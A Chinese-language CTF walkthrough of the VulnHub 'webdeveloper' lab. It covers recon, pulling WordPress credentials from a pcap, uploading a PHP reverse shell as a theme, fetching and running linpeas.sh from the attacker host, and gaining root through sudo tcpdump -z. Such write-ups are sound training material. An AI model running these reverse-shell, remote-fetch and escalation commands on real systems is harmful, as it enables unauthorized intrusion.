nmap扫描---->dirb扫描---->wireshark分析.cap文件发现wordpress用户名和密码---->利用wordpress的上传theme功能getshell---->用linpeas.sh找到webdeveloper用户账号密码---->利用tcpdump命令进行sudo提权
环境信息靶机ip:192.168.101.36
攻击机ip:192.168.101.25
具体步骤 步骤1:nmap扫描sudo nmap -sS -A -p- 192.168.101.36
只有22端口(ssh)和80端口(http)开放,并且80端口是wordpress。
按照经验,getshell的思路应该是从80端口登录wordpress,然后利用wordpress的功能getshell
为了看起来方便,先扫描一层目录,用-r选项选择不做迭代扫描
dirb http://192.168.101.36 -r
扫描结果中除了http://192.168.101.36/ipdata/,其他都是wordpress相关的
先访问http://192.168.101.36/ipdata/,发现该目录下有文件analyze.cap,下载这个文件
用wireshark打开analyze.cap,按protocol排序可以看到有很多HTTP报文
浏览http://192.168.101.36,可以发现登录页面是http://192.168.101.36/wp-login.php
尝试登录,并用开发者工具抓包,可以发现登录报文使用的请求方式是POST
因此,wireshark中设置如下过滤条件,过滤出POST请求的报文
http.request.method == "POST"
结果如下,可以看到发往/wordpress/wp-login.php的POST报文中携带了用户名webdeveloper,密码Te5eQg&4sBS!Yr$)wf%(DcAd
用找到的用户名密码登录wordpress,登录成功
攻击机监听2333端口
nc -nlvp 2333
先说一个不能成功的方法,这个方法在mr robot靶机上是可以成功的
进入http://192.168.101.36/wp-admin/之后,
依次点击左侧栏的Appearance,Editor,然后在右侧栏中找到404 Template
把kali linux自带的php反弹shell代码(/usr/share/webshells/php/php-reverse-shell.php)粘贴到get_header(); ?>的下方,修改$ip和$port分别为攻击机的ip和监听端口。
可惜的是,点update file之后显示提示“Unable to communicate back with site to check for fatal errors, so the PHP change was reverted. You will need to upload your PHP file change by some other means, such as by using SFTP.”,总之就是文件无法更新。换了几个文件都没用。
后来把模板换成和之前打过的mr robot 1靶机(vulnhub Mr-Robot: 1_箭雨镜屋-CSDN博客)一样的Twenty Fifteen,终于可以更新了。
但是直接访问http://192.168.101.36/wp-content/themes/twentyfifteen/404.php的状态码是500,无法getshell。
而打mr robot靶机时使用的方法是访问一个不存在的网页触发404.php的执行,但这里把使用的theme改成wentyfifteen之后也不行,访问不存在的页面并没有触发404.php的执行。(题外话:经过多次尝试发现,当前使用的theme的文件无法修改,当前未使用的可以修改)
可以成功的方法:
wordpress可以上传theme
Appearance的Themes中点Add New,再点 Upload Theme,可以看到上传文件的地方
直接把/usr/share/webshells/php/php-reverse-shell.php改一下$ip和$port,保存,并上传。
上传之后会出现下面的页面,提示无法安装,但是不碍事儿,而且正说明已经上传成功了。
那么这个反弹shell被上传到哪儿了呢?得知道在哪儿才能通过访问触发执行呢。
用dirb再扫描一次网站目录,这次允许迭代扫描
dirb http://192.168.101.36
尝试访问扫描结果之后发现,上传的反弹shell在http://192.168.101.36/wp-content/uploads/ 目录的子目录下
点击 php-reverse-shell.php 触发反弹shell执行,得到www-data用户的反弹shell
输入以下命令得到交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
攻击机上用python起http服务
python -m SimpleHTTPServer 80
反弹shell中进入tmp目录(或者其他www-data用户有读写执行权限的目录),下载并执行linpeas.sh
wget http://192.168.101.25/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh
执行结果中有在/var/www/html/wp-config.php中找到数据库wordpress的用户名和密码webdeveloper : MasterOfTheUniverse
尝试用这个账户密码进行ssh登录
ssh webdeveloper@192.168.101.36
登录成功
输入
sudo -l
可以发现webdeveloper用户可以sudo执行tcpdump命令
在网站GTFOBins 上查找tcpdump,找到提权方法
本来想按照靶机Temple of Doom的方法来直接在COMMAND里面写反弹shell的,但是没成功。 vulnhub Temple of Doom: 1_箭雨镜屋-CSDN博客
后来用php执行之前上传的php-reverse-shell.php可以成功。
具体步骤如下:
首先,输入如下命令查找php-reverse-shell.php的位置
find / -name php-reverse-shell.php 2>/dev/null
找到其位置在/var/www/html/wp-content/uploads/2022/01/php-reverse-shell.php
然后在webdeveloper用户的shell中依次输入如下命令。
注意最后一条命令中需要把GTFOBins给的payload中的lo接口改成eth0接口,否则无法执行成功,具体原因目前不明。
webdeveloper@webdeveloper:~$ COMMAND='php /var/www/html/wp-content/uploads/2022/01/php-reverse-shell.php'
webdeveloper@webdeveloper:~$ TF=$(mktemp)
webdeveloper@webdeveloper:~$ echo "$COMMAND" > $TF
webdeveloper@webdeveloper:~$ chmod +x $TF
webdeveloper@webdeveloper:~$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root
执行完最后一条命令后,webdeveloper用户的shell显示如下
攻击机监听的2333端口下出现root用户的反弹shell
在/root/目录下找到flag.txt